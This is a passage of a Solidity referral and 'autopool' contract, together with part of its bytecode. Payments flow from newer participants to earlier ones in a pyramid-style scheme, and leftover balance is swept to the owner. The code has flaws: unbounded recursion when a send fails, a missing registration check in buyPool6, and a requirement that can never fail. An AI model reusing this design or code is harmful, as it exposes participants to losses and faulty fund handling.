mapping(uint => uint) public LEVEL_PRICE;
uint REGESTRATION_FESS=0.05 ether;
uint pool1_price=0.1 ether;
uint pool2_price=0.2 ether ;
uint pool3_price=0.5 ether;
uint pool4_price=1 ether;
uint pool5_price=2 ether;
uint pool6_price=5 ether;
uint pool7_price=10 ether ;
uint pool8_price=20 ether;
uint pool9_price=50 ether;
uint pool10_price=100 ether;
event regLevelEvent(address indexed _user, address indexed _referrer, uint _time);
event getMoneyForLevelEvent(address indexed _user, address indexed _referral, uint _level, uint _time);
event regPoolEntry(address indexed _user,uint _level, uint _time);
event getPoolPayment(address indexed _user,address indexed _receiver, uint _level, uint _time);
UserStruct[] public requests;
constructor() public {
ownerWallet = msg.sender;
LEVEL_PRICE[1] = 0.01 ether;
LEVEL_PRICE[2] = 0.005 ether;
LEVEL_PRICE[3] = 0.0025 ether;
LEVEL_PRICE[4] = 0.00025 ether;
unlimited_level_price=0.00025 ether;
UserStruct memory userStruct;
currUserID++;
userStruct = UserStruct({
isExist: true,
id: currUserID,
referrerID: 0,
referredUsers:0
});
users[ownerWallet] = userStruct;
userList[currUserID] = ownerWallet;
PoolUserStruct memory pooluserStruct;
pool1currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool1currUserID,
payment_received:0
});
pool1activeUserID=pool1currUserID;
pool1users[msg.sender] = pooluserStruct;
pool1userList[pool1currUserID]=msg.sender;
pool2currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool2currUserID,
payment_received:0
});
pool2activeUserID=pool2currUserID;
pool2users[msg.sender] = pooluserStruct;
pool2userList[pool2currUserID]=msg.sender;
pool3currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool3currUserID,
payment_received:0
});
pool3activeUserID=pool3currUserID;
pool3users[msg.sender] = pooluserStruct;
pool3userList[pool3currUserID]=msg.sender;
pool4currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool4currUserID,
payment_received:0
});
pool4activeUserID=pool4currUserID;
pool4users[msg.sender] = pooluserStruct;
pool4userList[pool4currUserID]=msg.sender;
pool5currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool5currUserID,
payment_received:0
});
pool5activeUserID=pool5currUserID;
pool5users[msg.sender] = pooluserStruct;
pool5userList[pool5currUserID]=msg.sender;
pool6currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool6currUserID,
payment_received:0
});
pool6activeUserID=pool6currUserID;
pool6users[msg.sender] = pooluserStruct;
pool6userList[pool6currUserID]=msg.sender;
pool7currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool7currUserID,
payment_received:0
});
pool7activeUserID=pool7currUserID;
pool7users[msg.sender] = pooluserStruct;
pool7userList[pool7currUserID]=msg.sender;
pool8currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool8currUserID,
payment_received:0
});
pool8activeUserID=pool8currUserID;
pool8users[msg.sender] = pooluserStruct;
pool8userList[pool8currUserID]=msg.sender;
pool9currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool9currUserID,
payment_received:0
});
pool9activeUserID=pool9currUserID;
pool9users[msg.sender] = pooluserStruct;
pool9userList[pool9currUserID]=msg.sender;
pool10currUserID++;
pooluserStruct = PoolUserStruct({
isExist:true,
id:pool10currUserID,
payment_received:0
});
pool10activeUserID=pool10currUserID;
pool10users[msg.sender] = pooluserStruct;
pool10userList[pool10currUserID]=msg.sender;
}
function regUser(uint _referrerID) public payable {
require(!users[msg.sender].isExist, "User Exists");
require(_referrerID > 0 && _referrerID <= currUserID, 'Incorrect referral ID');
require(msg.value == REGESTRATION_FESS, 'Incorrect Value');
UserStruct memory userStruct;
currUserID++;
userStruct = UserStruct({
isExist: true,
id: currUserID,
referrerID: _referrerID,
referredUsers:0
});
users[msg.sender] = userStruct;
userList[currUserID]=msg.sender;
users[userList[users[msg.sender].referrerID]].referredUsers=users[userList[users[msg.sender].referrerID]].referredUsers+1;
payReferral(1,msg.sender);
emit regLevelEvent(msg.sender, userList[_referrerID], now);
}
function payReferral(uint _level, address _user) internal {
address referer;
referer = userList[users[_user].referrerID];
bool sent = false;
uint level_price_local=0;
if(_level>4){
level_price_local=unlimited_level_price;
}
else{
level_price_local=LEVEL_PRICE[_level];
}
sent = address(uint160(referer)).send(level_price_local);
if (sent) {
emit getMoneyForLevelEvent(referer, msg.sender, _level, now);
if(_level < 100 && users[referer].referrerID >= 1){
payReferral(_level+1,referer);
}
else
{
sendBalance();
}
}
if(!sent) {
// emit lostMoneyForLevelEvent(referer, msg.sender, _level, now);
payReferral(_level, referer);
}
}
function buyPool1() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(!pool1users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool1_price, 'Incorrect Value');
PoolUserStruct memory userStruct;
address pool1Currentuser=pool1userList[pool1activeUserID];
pool1currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool1currUserID,
payment_received:0
});
pool1users[msg.sender] = userStruct;
pool1userList[pool1currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool1Currentuser)).send(pool1_price);
if (sent) {
pool1users[pool1Currentuser].payment_received+=1;
if(pool1users[pool1Currentuser].payment_received>=2)
{
pool1activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool1Currentuser, 1, now);
}
emit regPoolEntry(msg.sender, 1, now);
}
function buyPool2() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(!pool2users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool2_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=0, "Must need 0 referral");
PoolUserStruct memory userStruct;
address pool2Currentuser=pool2userList[pool2activeUserID];
pool2currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool2currUserID,
payment_received:0
});
pool2users[msg.sender] = userStruct;
pool2userList[pool2currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool2Currentuser)).send(pool2_price);
if (sent) {
pool2users[pool2Currentuser].payment_received+=1;
if(pool2users[pool2Currentuser].payment_received>=3)
{
pool2activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool2Currentuser, 2, now);
}
emit regPoolEntry(msg.sender,2, now);
}
function buyPool3() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(!pool3users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool3_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=0, "Must need 0 referral");
PoolUserStruct memory userStruct;
address pool3Currentuser=pool3userList[pool3activeUserID];
pool3currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool3currUserID,
payment_received:0
});
pool3users[msg.sender] = userStruct;
pool3userList[pool3currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool3Currentuser)).send(pool3_price);
if (sent) {
pool3users[pool3Currentuser].payment_received+=1;
if(pool3users[pool3Currentuser].payment_received>=3)
{
pool3activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool3Currentuser, 3, now);
}
emit regPoolEntry(msg.sender,3, now);
}
function buyPool4() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(!pool4users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool4_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=0, "Must need 0 referral");
PoolUserStruct memory userStruct;
address pool4Currentuser=pool4userList[pool4activeUserID];
pool4currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool4currUserID,
payment_received:0
});
pool4users[msg.sender] = userStruct;
pool4userList[pool4currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool4Currentuser)).send(pool4_price);
if (sent) {
pool4users[pool4Currentuser].payment_received+=1;
if(pool4users[pool4Currentuser].payment_received>=3)
{
pool4activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool4Currentuser, 4, now);
}
emit regPoolEntry(msg.sender,4, now);
}
function buyPool5() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(!pool5users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool5_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=0, "Must need 0 referral");
PoolUserStruct memory userStruct;
address pool5Currentuser=pool5userList[pool5activeUserID];
pool5currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool5currUserID,
payment_received:0
});
pool5users[msg.sender] = userStruct;
pool5userList[pool5currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool5Currentuser)).send(pool5_price);
if (sent) {
pool5users[pool5Currentuser].payment_received+=1;
if(pool5users[pool5Currentuser].payment_received>=3)
{
pool5activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool5Currentuser, 5, now);
}
emit regPoolEntry(msg.sender,5, now);
}
function buyPool6() public payable {
require(!pool6users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool6_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=0, "Must need 0 referral");
PoolUserStruct memory userStruct;
address pool6Currentuser=pool6userList[pool6activeUserID];
pool6currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool6currUserID,
payment_received:0
});
pool6users[msg.sender] = userStruct;
pool6userList[pool6currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool6Currentuser)).send(pool6_price);
if (sent) {
pool6users[pool6Currentuser].payment_received+=1;
if(pool6users[pool6Currentuser].payment_received>=3)
{
pool6activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool6Currentuser, 6, now);
}
emit regPoolEntry(msg.sender,6, now);
}
function buyPool7() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(!pool7users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool7_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=0, "Must need 0 referral");
PoolUserStruct memory userStruct;
address pool7Currentuser=pool7userList[pool7activeUserID];
pool7currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool7currUserID,
payment_received:0
});
pool7users[msg.sender] = userStruct;
pool7userList[pool7currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool7Currentuser)).send(pool7_price);
if (sent) {
pool7users[pool7Currentuser].payment_received+=1;
if(pool7users[pool7Currentuser].payment_received>=3)
{
pool7activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool7Currentuser, 7, now);
}
emit regPoolEntry(msg.sender,7, now);
}
function buyPool8() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(!pool8users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool8_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=0, "Must need 0 referral");
PoolUserStruct memory userStruct;
address pool8Currentuser=pool8userList[pool8activeUserID];
pool8currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool8currUserID,
payment_received:0
});
pool8users[msg.sender] = userStruct;
pool8userList[pool8currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool8Currentuser)).send(pool8_price);
if (sent) {
pool8users[pool8Currentuser].payment_received+=1;
if(pool8users[pool8Currentuser].payment_received>=3)
{
pool8activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool8Currentuser, 8, now);
}
emit regPoolEntry(msg.sender,8, now);
}
function buyPool9() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(!pool9users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool9_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=0, "Must need 0 referral");
PoolUserStruct memory userStruct;
address pool9Currentuser=pool9userList[pool9activeUserID];
pool9currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool9currUserID,
payment_received:0
});
pool9users[msg.sender] = userStruct;
pool9userList[pool9currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool9Currentuser)).send(pool9_price);
if (sent) {
pool9users[pool9Currentuser].payment_received+=1;
if(pool9users[pool9Currentuser].payment_received>=3)
{
pool9activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool9Currentuser, 9, now);
}
emit regPoolEntry(msg.sender,9, now);
}
function buyPool10() public payable {
require(users[msg.sender].isExist, "User Not Registered");
require(!pool10users[msg.sender].isExist, "Already in AutoPool");
require(msg.value == pool10_price, 'Incorrect Value');
require(users[msg.sender].referredUsers>=0, "Must need 0 referral");
PoolUserStruct memory userStruct;
address pool10Currentuser=pool10userList[pool10activeUserID];
pool10currUserID++;
userStruct = PoolUserStruct({
isExist:true,
id:pool10currUserID,
payment_received:0
});
pool10users[msg.sender] = userStruct;
pool10userList[pool10currUserID]=msg.sender;
bool sent = false;
sent = address(uint160(pool10Currentuser)).send(pool10_price);
if (sent) {
pool10users[pool10Currentuser].payment_received+=1;
if(pool10users[pool10Currentuser].payment_received>=3)
{
pool10activeUserID+=1;
}
emit getPoolPayment(msg.sender,pool10Currentuser, 10, now);
}
emit regPoolEntry(msg.sender, 10, now);
}
function getEthBalance() public view returns(uint) {
return address(this).balance;
}
function sendBalance() private
{
if (!address(uint160(ownerWallet)).send(getEthBalance()))
{
}
}
} | 0x60806040526004361061038c5760003560e01c806380085ec4116101dc578063a565a5b611610102578063db7242bd116100a0578063e592ac561161006f578063e592ac5614610a5c578063e687ecac14610a71578063ed3bb9fa14610aa4578063eecbdd9414610aac5761038c565b8063db7242bd146109eb578063dd5d3e3014610a15578063dea9095a14610a3f578063e35fc7e214610a545761038c565b8063bdbefbf6116100dc578063bdbefbf61461098f578063c3285de6146109a4578063c5d8444d146109ac578063c6d79e9d146109c15761038c565b8063a565a5b61461094c578063a87430ba14610954578063ae01d264146109875761038c565b80638853b53e1161017a5780639f01c016116101495780639f01c016146108c55780639f4216e8146108da5780639f9a2b0e14610904578063a4bb170d146109375761038c565b80638853b53e146108695780639335dcb7146108865780639561302a1461089b578063956c9ebf146108b05761038c565b806384abfa37116101b657806384abfa37146107d957806384d82db81461080c578063851f31c614610821578063878b255d146108545761038c565b806380085ec41461072a578063805b49541461075d57806381d12c58146107875761038c565b806350264b55116102c15780636e2fb91d1161025f57806379378e301161022e57806379378e30146106ac5780637aa6e6dc146106d65780637ff135cd146106eb5780637ff5c450146107155761038c565b80636e2fb91d1461062957806370047eeb1461065c57806370ed0ada1461066457806378dffea7146106795761038c565b806360fbf1221161029b57806360fbf122146105c45780636254a0ef146105f7578063673f554b146105ff578063699ad07e146106145761038c565b806350264b55146105705780635761a7ae1461059a5780635a1cb2cd146105af5761038c565b806338f2f4461161032e5780634147cde8116103085780634147cde814610514578063435ea13014610529578063460c3c0714610553578063461aa478146105685761038c565b806338f2f446146104c457806338fc99bd146104f75780633bddc951146104ff5761038c565b806309fd01ba1161036a57806309fd01ba146104155780630c851e3c1461045b578063282e06761461048557806336509f77146104af5761038c565b806301073bf514610391578063080f775f1461039b57806309ea330a146103c2575b600080fd5b610399610ac1565b005b3480156103a757600080fd5b506103b0610d01565b60408051918252519081900360200190f35b3480156103ce57600080fd5b506103f5600480360360208110156103e557600080fd5b50356001600160a01b0316610d07565b604080519315158452602084019290925282820152519081900360600190f35b34801561042157600080fd5b5061043f6004803603602081101561043857600080fd5b5035610d2c565b604080516001600160a01b039092168252519081900360200190f35b34801561046757600080fd5b5061043f6004803603602081101561047e57600080fd5b5035610d47565b34801561049157600080fd5b5061043f600480360360208110156104a857600080fd5b5035610d62565b3480156104bb57600080fd5b506103b0610d7d565b3480156104d057600080fd5b506103f5600480360360208110156104e757600080fd5b50356001600160a01b0316610d83565b610399610da8565b34801561050b57600080fd5b506103b0610ff2565b34801561052057600080fd5b506103b0610ff8565b34801561053557600080fd5b5061043f6004803603602081101561054c57600080fd5b5035610ffe565b34801561055f57600080fd5b506103b0611018565b61039961101e565b34801561057c57600080fd5b5061043f6004803603602081101561059357600080fd5b5035611269565b3480156105a657600080fd5b506103b0611284565b3480156105bb57600080fd5b506103b061128a565b3480156105d057600080fd5b506103f5600480360360208110156105e757600080fd5b50356001600160a01b0316611290565b6103996112b5565b34801561060b57600080fd5b506103b0611500565b34801561062057600080fd5b506103b0611506565b34801561063557600080fd5b506103f56004803603602081101561064c57600080fd5b50356001600160a01b031661150c565b610399611531565b34801561067057600080fd5b506103b061177c565b34801561068557600080fd5b506103f56004803603602081101561069c57600080fd5b50356001600160a01b0316611780565b3480156106b857600080fd5b506103b0600480360360208110156106cf57600080fd5b50356117a5565b3480156106e257600080fd5b506103b06117b7565b3480156106f757600080fd5b5061043f6004803603602081101561070e57600080fd5b50356117bd565b34801561072157600080fd5b506103b06117d8565b34801561073657600080fd5b506103f56004803603602081101561074d57600080fd5b50356001600160a01b03166117de565b34801561076957600080fd5b5061043f6004803603602081101561078057600080fd5b5035611803565b34801561079357600080fd5b506107b1600480360360208110156107aa57600080fd5b503561181e565b6040805194151585526020850193909352838301919091526060830152519081900360800190f35b3480156107e557600080fd5b506103f5600480360360208110156107fc57600080fd5b50356001600160a01b0316611859565b34801561081857600080fd5b506103b061187e565b34801561082d57600080fd5b506103f56004803603602081101561084457600080fd5b50356001600160a01b0316611884565b34801561086057600080fd5b506103b06118a9565b6103996004803603602081101561087f57600080fd5b50356118af565b34801561089257600080fd5b5061043f611aaa565b3480156108a757600080fd5b506103b0611ab9565b3480156108bc57600080fd5b506103b0611abf565b3480156108d157600080fd5b506103b0611ac5565b3480156108e657600080fd5b5061043f600480360360208110156108fd57600080fd5b5035611acb565b34801561091057600080fd5b506103f56004803603602081101561092757600080fd5b50356001600160a01b0316611ae6565b34801561094357600080fd5b506103b0611b0b565b610399611b11565b34801561096057600080fd5b506107b16004803603602081101561097757600080fd5b50356001600160a01b0316611d5c565b610399611d87565b34801561099b57600080fd5b506103b0611f80565b610399611f86565b3480156109b857600080fd5b506103b06121d1565b3480156109cd57600080fd5b5061043f600480360360208110156109e457600080fd5b50356121d7565b3480156109f757600080fd5b5061043f60048036036020811015610a0e57600080fd5b50356121f2565b348015610a2157600080fd5b5061043f60048036036020811015610a3857600080fd5b503561220d565b348015610a4b57600080fd5b506103b0612228565b61039961222e565b348015610a6857600080fd5b506103b0612479565b348015610a7d57600080fd5b506103f560048036036020811015610a9457600080fd5b50356001600160a01b031661247f565b6103996124a4565b348015610ab857600080fd5b506103b06126ef565b3360009081526017602052604090205460ff16610b13576040805162461bcd60e51b815260206004820152601360248201526000805160206128fa833981519152604482015290519081900360640190fd5b3360009081526019602052604090205460ff1615610b66576040805162461bcd60e51b815260206004820152601360248201526000805160206128da833981519152604482015290519081900360640190fd5b602f543414610bae576040805162461bcd60e51b815260206004820152600f60248201526e496e636f72726563742056616c756560881b604482015290519081900360640190fd5b610bb661284c565b50600c546000908152601a6020818152604080842054600280546001908101808355845160608101865282815280870191825280860189815233808b5260198952878b208351815460ff19169015151781559351948401949094555191840191909155915487529490935281852080546001600160a01b031916909417909355602f54905191936001600160a01b03909316929183916108fc8115029184818181858888f1935050505090508015610cd4576001600160a01b0382166000908152601960205260409020600290810180546001019081905510610c9d57600c805460010190555b604080516001815242602082015281516001600160a01b0385169233926000805160206128ba833981519152929081900390910190a35b60408051600181524260208201528151339260008051602061289a833981519152928290030190a2505050565b60065481565b60216020526000908152604090208054600182015460029092015460ff909116919083565b601e602052600090815260409020546001600160a01b031681565b601a602052600090815260409020546001600160a01b031681565b6028602052600090815260409020546001600160a01b031681565b600c5481565b60196020526000908152604090208054600182015460029092015460ff909116919083565b3360009081526017602052604090205460ff16610dfa576040805162461bcd60e51b815260206004820152601360248201526000805160206128fa833981519152604482015290519081900360640190fd5b336000908152601f602052604090205460ff1615610e4d576040805162461bcd60e51b815260206004820152601360248201526000805160206128da833981519152604482015290519081900360640190fd5b6032543414610e95576040805162461bcd60e51b815260206004820152600f60248201526e496e636f72726563742056616c756560881b604482015290519081900360640190fd5b336000526017602052610ea661284c565b50600f5460009081526020808052604080832054600580546001908101808355845160608101865282815280870191825280860188815233808a52601f8952878a208351815460ff1916901515178155935194840194909455516002909201919091559154865293805282852080546001600160a01b031916909417909355603254915192936001600160a01b0390911692909183916108fc821502919084818181858888f1935050505090508015610fc5576001600160a01b0382166000908152601f60205260409020600201805460010190819055600311610f8e57600f805460010190555b604080516004815242602082015281516001600160a01b0385169233926000805160206128ba833981519152929081900390910190a35b60408051600481524260208201528151339260008051602061289a833981519152928290030190a2505050565b60105481565b600a5481565b60208052600090815260409020546001600160a01b031681565b600d5481565b3360009081526017602052604090205460ff16611070576040805162461bcd60e51b815260206004820152601360248201526000805160206128fa833981519152604482015290519081900360640190fd5b3360009081526025602052604090205460ff16156110c3576040805162461bcd60e51b815260206004820152601360248201526000805160206128da833981519152604482015290519081900360640190fd5b603554341461110b576040805162461bcd60e51b815260206004820152600f60248201526e496e636f72726563742056616c756560881b604482015290519081900360640190fd5b33600052601760205261111c61284c565b50601254600090815260266020818152604080842054600880546001908101808355845160608101865282815280870191825280860189815233808b5260258952878b208351815460ff191690151517815593519484019490945551600290920191909155915487529490935281852080546001600160a01b031916909417909355603554905191936001600160a01b03909316929183916108fc8115029184818181858888f193505050509050801561123c576001600160a01b0382166000908152602560205260409020600201805460010190819055600311611205576012805460010190555b604080516007815242602082015281516001600160a01b0385169233926000805160206128ba833981519152929081900390910190a35b60408051600781524260208201528151339260008051602061289a833981519152928290030190a2505050565b602a602052600090815260409020546001600160a01b031681565b60025481565b600f5481565b60296020526000908152604090208054600182015460029092015460ff909116919083565b3360009081526017602052604090205460ff16611307576040805162461bcd60e51b815260206004820152601360248201526000805160206128fa833981519152604482015290519081900360640190fd5b336000908152601b602052604090205460ff161561135a576040805162461bcd60e51b815260206004820152601360248201526000805160206128da833981519152604482015290519081900360640190fd5b60305434146113a2576040805162461bcd60e51b815260206004820152600f60248201526e496e636f72726563742056616c756560881b604482015290519081900360640190fd5b3360005260176020526113b361284c565b50600d546000908152601c6020818152604080842054600380546001908101808355845160608101865282815280870191825280860189815233808b52601b8952878b208351815460ff191690151517815593519484019490945551600290920191909155915487529490935281852080546001600160a01b031916909417909355603054905191936001600160a01b03909316929183916108fc8115029184818181858888f19350505050905080156114d3576001600160a01b0382166000908152601b6020526040902060020180546001019081905560031161149c57600d805460010190555b604080516002815242602082015281516001600160a01b0385169233926000805160206128ba833981519152929081900390910190a35b60408051600281524260208201528151339260008051602061289a833981519152928290030190a2505050565b60085481565b600b5481565b60236020526000908152604090208054600182015460029092015460ff909116919083565b3360009081526017602052604090205460ff16611583576040805162461bcd60e51b815260206004820152601360248201526000805160206128fa833981519152604482015290519081900360640190fd5b3360009081526027602052604090205460ff16156115d6576040805162461bcd60e51b815260206004820152601360248201526000805160206128da833981519152604482015290519081900360640190fd5b603654341461161e576040805162461bcd60e51b815260206004820152600f60248201526e496e636f72726563742056616c756560881b604482015290519081900360640190fd5b33600052601760205261162f61284c565b50601354600090815260286020818152604080842054600980546001908101808355845160608101865282815280870191825280860189815233808b5260278952878b208351815460ff191690151517815593519484019490945551600290920191909155915487529490935281852080546001600160a01b031916909417909355603654905191936001600160a01b03909316929183916108fc8115029184818181858888f193505050509050801561174f576001600160a01b0382166000908152602760205260409020600201805460010190819055600311611718576013805460010190555b604080516008815242602082015281516001600160a01b0385169233926000805160206128ba833981519152929081900390910190a35b60408051600881524260208201528151339260008051602061289a833981519152928290030190a2505050565b4790565b601d6020526000908152604090208054600182015460029092015460ff909116919083565b602d6020526000908152604090205481565b60165481565b601c602052600090815260409020546001600160a01b031681565b60135481565b601f6020526000908152604090208054600182015460029092015460ff909116919083565b6024602052600090815260409020546001600160a01b031681565b6039818154811061182b57fe5b6000918252602090912060059091020180546001820154600283015460039093015460ff9092169350919084565b601b6020526000908152604090208054600182015460029092015460ff909116919083565b60095481565b60256020526000908152604090208054600182015460029092015460ff909116919083565b60145481565b3360009081526017602052604090205460ff1615611902576040805162461bcd60e51b815260206004820152600b60248201526a557365722045786973747360a81b604482015290519081900360640190fd5b60008111801561191457506001548111155b61195d576040805162461bcd60e51b8152602060048201526015602482015274125b98dbdc9c9958dd081c9959995c9c985b081251605a1b604482015290519081900360640190fd5b602e5434146119a5576040805162461bcd60e51b815260206004820152600f60248201526e496e636f72726563742056616c756560881b604482015290519081900360640190fd5b6119ad61286f565b506001805481018082556040805160808101825283815260208082019384528183018681526000606084018181523380835260178086528784208751815460ff19169015151781559851898b01559351600289019081559151600398890155885483526018855286832080546001600160a01b0319168217905590548252858220546001600160a01b03168252919092529290209092018054840190559091611a55916126f5565b60008281526018602090815260409182902054825142815292516001600160a01b039091169233927f788c06d2405ae89dd3f0528d38be7691289474d72176408bc2c2406dc5e342f192918290030190a35050565b6000546001600160a01b031681565b60125481565b60155481565b60055481565b6018602052600090815260409020546001600160a01b031681565b60276020526000908152604090208054600182015460029092015460ff909116919083565b60015481565b3360009081526017602052604090205460ff16611b63576040805162461bcd60e51b815260206004820152601360248201526000805160206128fa833981519152604482015290519081900360640190fd5b3360009081526029602052604090205460ff1615611bb6576040805162461bcd60e51b815260206004820152601360248201526000805160206128da833981519152604482015290519081900360640190fd5b6037543414611bfe576040805162461bcd60e51b815260206004820152600f60248201526e496e636f72726563742056616c756560881b604482015290519081900360640190fd5b336000526017602052611c0f61284c565b506014546000908152602a6020818152604080842054600a80546001908101808355845160608101865282815280870191825280860189815233808b5260298952878b208351815460ff191690151517815593519484019490945551600290920191909155915487529490935281852080546001600160a01b031916909417909355603754905191936001600160a01b03909316929183916108fc8115029184818181858888f1935050505090508015611d2f576001600160a01b0382166000908152602960205260409020600201805460010190819055600311611cf8576014805460010190555b604080516009815242602082015281516001600160a01b0385169233926000805160206128ba833981519152929081900390910190a35b60408051600981524260208201528151339260008051602061289a833981519152928290030190a2505050565b601760205260009081526040902080546001820154600283015460039093015460ff90921692909184565b3360009081526023602052604090205460ff1615611dda576040805162461bcd60e51b815260206004820152601360248201526000805160206128da833981519152604482015290519081900360640190fd5b6034543414611e22576040805162461bcd60e51b815260206004820152600f60248201526e496e636f72726563742056616c756560881b604482015290519081900360640190fd5b336000526017602052611e3361284c565b50601154600090815260246020818152604080842054600780546001908101808355845160608101865282815280870191825280860189815233808b5260238952878b208351815460ff191690151517815593519484019490945551600290920191909155915487529490935281852080546001600160a01b031916909417909355603454905191936001600160a01b03909316929183916108fc8115029184818181858888f1935050505090508015611f53576001600160a01b0382166000908152602360205260409020600201805460010190819055600311611f1c576011805460010190555b604080516006815242602082015281516001600160a01b0385169233926000805160206128ba833981519152929081900390910190a35b60408051600681524260208201528151339260008051602061289a833981519152928290030190a2505050565b60035481565b3360009081526017602052604090205460ff16611fd8576040805162461bcd60e51b815260206004820152601360248201526000805160206128fa833981519152604482015290519081900360640190fd5b336000908152601d602052604090205460ff161561202b576040805162461bcd60e51b815260206004820152601360248201526000805160206128da833981519152604482015290519081900360640190fd5b6031543414612073576040805162461bcd60e51b815260206004820152600f60248201526e496e636f72726563742056616c756560881b604482015290519081900360640190fd5b33600052601760205261208461284c565b50600e546000908152601e6020818152604080842054600480546001908101808355845160608101865282815280870191825280860189815233808b52601d8952878b208351815460ff191690151517815593519484019490945551600290920191909155915487529490935281852080546001600160a01b031916909417909355603154905191936001600160a01b03909316929183916108fc8115029184818181858888f19350505050905080156121a4576001600160a01b0382166000908152601d6020526040902060020180546001019081905560031161216d57600e805460010190555b604080516003815242602082015281516001600160a01b0385169233926000805160206128ba833981519152929081900390910190a35b60408051600381524260208201528151339260008051602061289a833981519152928290030190a2505050565b60045481565b6022602052600090815260409020546001600160a01b031681565b6026602052600090815260409020546001600160a01b031681565b602c602052600090815260409020546001600160a01b031681565b600e5481565b3360009081526017602052604090205460ff16612280576040805162461bcd60e51b815260206004820152601360248201526000805160206128fa833981519152604482015290519081900360640190fd5b336000908152602b602052604090205460ff16156122d3576040805162461bcd60e51b815260206004820152601360248201526000805160206128da833981519152604482015290519081900360640190fd5b603854341461231b576040805162461bcd60e51b815260206004820152600f60248201526e496e636f72726563742056616c756560881b604482015290519081900360640190fd5b33600052601760205261232c61284c565b506015546000908152602c6020818152604080842054600b80546001908101808355845160608101865282815280870191825280860189815233808b52602b8952878b208351815460ff191690151517815593519484019490945551600290920191909155915487529490935281852080546001600160a01b031916909417909355603854905191936001600160a01b03909316929183916108fc8115029184818181858888f193505050509050801561244c576001600160a01b0382166000908152602b60205260409020600201805460010190819055600311612415576015805460010190555b60408051600a815242602082015281516001600160a01b0385169233926000805160206128ba833981519152929081900390910190a35b60408051600a81524260208201528151339260008051602061289a833981519152928290030190a2505050565b60075481565b602b6020526000908152604090208054600182015460029092015460ff909116919083565b3360009081526017602052604090205460ff166124f6576040805162461bcd60e51b815260206004820152601360248201526000805160206128fa833981519152604482015290519081900360640190fd5b3360009081526021602052604090205460ff1615612549576040805162461bcd60e51b815260206004820152601360248201526000805160206128da833981519152604482015290519081900360640190fd5b6033543414612591576040805162461bcd60e51b815260206004820152600f60248201526e496e636f72726563742056616c756560881b604482015290519081900360640190fd5b3360005260176020526125a261284c565b50601054600090815260226020818152604080842054600680546001908101808355845160608101865282815280870191825280860189815233808b5260218952878b208351815460ff191690151517815593519484019490945551600290920191909155915487529490935281852080546001600160a01b031916909417909355603354905191936001600160a01b03909316929183916108fc8115029184818181858888f19350505050905080156126c2576001600160a01b038216600090815260216020526040902060020180546001019081905560031161268b576010805460010190555b604080516005815242602082015281516001600160a01b0385169233926000805160206128ba833981519152929081900390910190a35b60408051600581524260208201528151339260008051602061289a833981519152928290030190a2505050565b60115481565b6001600160a01b0380821660009081526017602090815260408083206002015483526018909152812054909116908060048511156127365750601654612747565b506000848152602d60205260409020545b6040516001600160a01b0384169082156108fc029083906000818181858888f19350505050915081156128065760408051868152426020820152815133926001600160a01b038716927fce7dc747411ac40191c5335943fcc79d8c2d8c01ca5ae83d9fed160409fa6120929081900390910190a36064851080156127e757506001600160a01b038316600090815260176020526040902060020154600111155b156127fe576127f985600101846126f5565b612806565b61280661281c565b816128155761281585846126f5565b5050505050565b6000546001600160a01b03166108fc61283361177c56